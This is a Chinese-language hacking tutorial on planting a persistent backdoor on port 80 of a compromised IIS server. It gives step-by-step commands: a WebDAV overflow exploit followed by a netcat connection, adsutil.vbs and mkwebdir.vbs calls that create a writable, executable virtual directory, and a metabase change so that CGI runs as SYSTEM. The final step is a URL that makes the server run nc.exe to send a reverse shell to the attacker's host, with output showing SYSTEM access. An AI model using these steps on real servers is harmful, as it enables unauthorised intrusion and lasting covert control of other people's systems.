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用AdminScripts下的vbs工具在80端口留后门by:vittervitter@safechina.net最近没事研究了研究AdminScripts下20个vbs工具，小有心得，与大家分享：）IIS是目前比较流行的www服务器，设置不当漏洞就很多。入侵IIS服务器后留下后门，以后就可以随时控制。一般的后门程序都是打开一个特殊的端口来监听，比如有nc,ntlm,rnc等等都是以一种类telnet的方式在服务器端监听远程的连接控制。不过一个比较防范严密的www站点（他们的管理员吃了苦头后）一般通过防火墙对端口进行限制，这样除了管理员开的端口外，其他端口就不能连接了。但是80端口是不可能关闭的（如果管理员没有吃错药）。那么我们可以通过在80端口留后门，来开启永远的后门。 当IIS启动CGI应用程序时，缺省用CreateProcessAsUser API来创建该CGI的新Process,该程序的安全上下文就由启动该CGI的用户决定。一般匿名用户都映射到IUSR_computername这个账号，当然可以由管理员改为其他的用户。或者由浏览器提供一个合法的用户。两者的用户的权限都是比较低，可能都属于guest组的成员。其实我们可以修改IIS开启CGI的方式，来提高权限。我们来看IIS主进程本身是运行在localsystem账号下的，所以我们就可以得到最高localsystem的权限。 1. 入侵IIS得到一个shell，比如：IIS WebDAV overflow remote exploitJ:\tool>webdavx3.pl 10.16.69.55 80J:\tool>nc -vv 10.16.69.55 2000vitter [10.16.69.55] 2000 (?) openMicrosoft Windows 2000 [Version 5.00.2195](C) 版权所有 1985-1998 Microsoft Corp.2. cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs enum w3svc/1/root Microsoft (R) Windows 脚本宿主版本 5.1 for Windows版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.KeyType : (STRING) "IIsWebVirtualDir"AccessRead : (BOOLEAN) TrueAccessWrite : (BOOLEAN) FalseAccessExecute : (BOOLEAN) FalseAccessScript : (BOOLEAN) TrueAccessSource : (BOOLEAN) FalseAccessNoRemoteRead : (BOOLEAN) FalseAccessNoRemoteWrite : (BOOLEAN) FalseAccessNoRemoteExecute : (BOOLEAN) FalseAccessNoRemoteScript : (BOOLEAN) FalseHttpErrors : (LIST) (32 Items) "400,*,FILE,F:\WINNT\help\iisHelp\common\400.htm" "401,1,FILE,F:\WINNT\help\iisHelp\common\401-1.htm" "401,2,FILE,F:\WINNT\help\iisHelp\common\401-2.htm" "401,3,FILE,F:\WINNT\help\iisHelp\common\401-3.htm" "401,4,FILE,F:\WINNT\help\iisHelp\common\401-4.htm" "401,5,FILE,F:\WINNT\help\iisHelp\common\401-5.htm" "403,1,FILE,F:\WINNT\help\iisHelp\common\403-1.htm" "403,2,FILE,F:\WINNT\help\iisHelp\common\403-2.htm" "403,3,FILE,F:\WINNT\help\iisHelp\common\403-3.htm" "403,4,FILE,F:\WINNT\help\iisHelp\common\403-4.htm" "403,5,FILE,F:\WINNT\help\iisHelp\common\403-5.htm" "403,6,FILE,F:\WINNT\help\iisHelp\common\403-6.htm" "403,7,FILE,F:\WINNT\help\iisHelp\common\403-7.htm" "403,8,FILE,F:\WINNT\help\iisHelp\common\403-8.htm" "403,9,FILE,F:\WINNT\help\iisHelp\common\403-9.htm" "403,10,FILE,F:\WINNT\help\iisHelp\common\403-10.htm" "403,11,FILE,F:\WINNT\help\iisHelp\common\403-11.htm" "403,12,FILE,F:\WINNT\help\iisHelp\common\403-12.htm" "403,13,FILE,F:\WINNT\help\iisHelp\common\403-13.htm" "403,15,FILE,F:\WINNT\help\iisHelp\common\403-15.htm" "403,16,FILE,F:\WINNT\help\iisHelp\common\403-16.htm" "403,17,FILE,F:\WINNT\help\iisHelp\common\403-17.htm" "404,*,FILE,F:\WINNT\help\iisHelp\common\404b.htm" "405,*,FILE,F:\WINNT\help\iisHelp\common\405.htm" "406,*,FILE,F:\WINNT\help\iisHelp\common\406.htm" "407,*,FILE,F:\WINNT\help\iisHelp\common\407.htm" "412,*,FILE,F:\WINNT\help\iisHelp\common\412.htm" "414,*,FILE,F:\WINNT\help\iisHelp\common\414.htm" "500,12,FILE,F:\WINNT\help\iisHelp\common\500-12.htm" "500,13,FILE,F:\WINNT\help\iisHelp\common\500-13.htm" "500,15,FILE,F:\WINNT\help\iisHelp\common\500-15.htm" "500,100,URL,/iisHelp/common/500-100.asp"DefaultDoc : (STRING) "default.html,Default.asp,index.php,index.asp,index.htm"Path : (STRING) "C:\Inetpub\wwwroot"AccessFlags : (INTEGER) 513ScriptMaps : (LIST) (13 Items) ".asp,F:\WINNT\System32\inetsrv\asp.dll,1,GET,HEAD,POST,TRACE" ".cer,F:\WINNT\System32\inetsrv\asp.dll,1,GET,HEAD,POST,TRACE" ".cdx,F:\WINNT\System32\inetsrv\asp.dll,1,GET,HEAD,POST,TRACE" ".asa,F:\WINNT\System32\inetsrv\asp.dll,1,GET,HEAD,POST,TRACE" ".htr,F:\WINNT\System32\inetsrv\404.dll,1,GET,POST" ".idc,F:\WINNT\System32\inetsrv\404.dll,1,OPTIONS,GET,HEAD,POST,PUT,DELETE,TRACE" ".shtm,F:\WINNT\System32\inetsrv\404.dll,1,GET,POST" ".shtml,F:\WINNT\System32\inetsrv\404.dll,1,GET,POST" ".stm,F:\WINNT\System32\inetsrv\404.dll,1,GET,POST" ".php,D:\php\php-4.2.2-Win32\php.exe,1" ".php3,D:\php\php-4.2.2-Win32\php.exe,1" ".cgi,D:\USR\BIN\perl.exe %s %s,1" ".pl,D:\USR\BIN\perl.exe %s %s,1"[/w3svc/1/root/localstart.asp][/w3svc/1/root/bbs][/w3svc/1/root/count][/w3svc/1/root/download][/w3svc/1/root/file][/w3svc/1/root/liuyan][/w3svc/1/root/old][/w3svc/1/root/wsjc][/w3svc/1/root/guest][/w3svc/1/root/test][/w3svc/1/root/zdzxroot][/w3svc/1/root/wins][/w3svc/1/root/udbbbs][/w3svc/1/root/safe][/w3svc/1/root/novel]获得一些基本信息，现在我们心里已经有底了!3. mkdir c:\inetpub\wwwroot\dir 4. cscript.exe c:\Inetpub\AdminScripts\mkwebdir.vbs -c 10.16.69.55 -w "默认 Web 站点" -v "VirtualDir","c:\inetpub\wwwroot\dir" 这样就建好了一个虚目录：VirtualDir 你可以用第2步的命令看一下5. 接下来要改变一下VirtualDir的属性为execute cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/VirtualDir/accesswrite "true" -s:"10.16.69.55" cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/VirtualDir/accessexecute "true" -s:"10.16.69.55"现在你已经可以upload 内容到该目录，并且可以运行。你可以把cmd.exe net.exe nc.exe tftp.exe直接拷贝到虚拟目录的磁盘目录中，用tftp upload东东到该目录。 6. 以下命令通过修改iis metabase 来迫使iis以本身的安全环境来创建新的CGI process cscript c:\Inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/VirtualDir/createprocessasuser false7. 在本地用nc监听一个端口J:\tool>nc -l -p 3000 -nvv8. 在远程目标系统用nc发送回shell在ie浏览器地址栏里面输入http://10.16.69.55/VirtualDir/nc.exe?-e%20cmd.exe%20-n%2010.16.69.1%203000切换回你的nc监听程序即可：J:\tool>nc -l -p 3000 -nvvlistening on [any] 3000 ...connect to [10.16.69.1] from (UNKNOWN) [10.16.69.55] 1083Microsoft Windows 2000 [Version 5.00.2195](C) 版权所有 1985-1998 Microsoft Corp.c:\inetpub\wwwroot\dir>whoamiwhoamiNT AUTHORITY\SYSTEM下面你知道该怎么做了吧，呵呵：）
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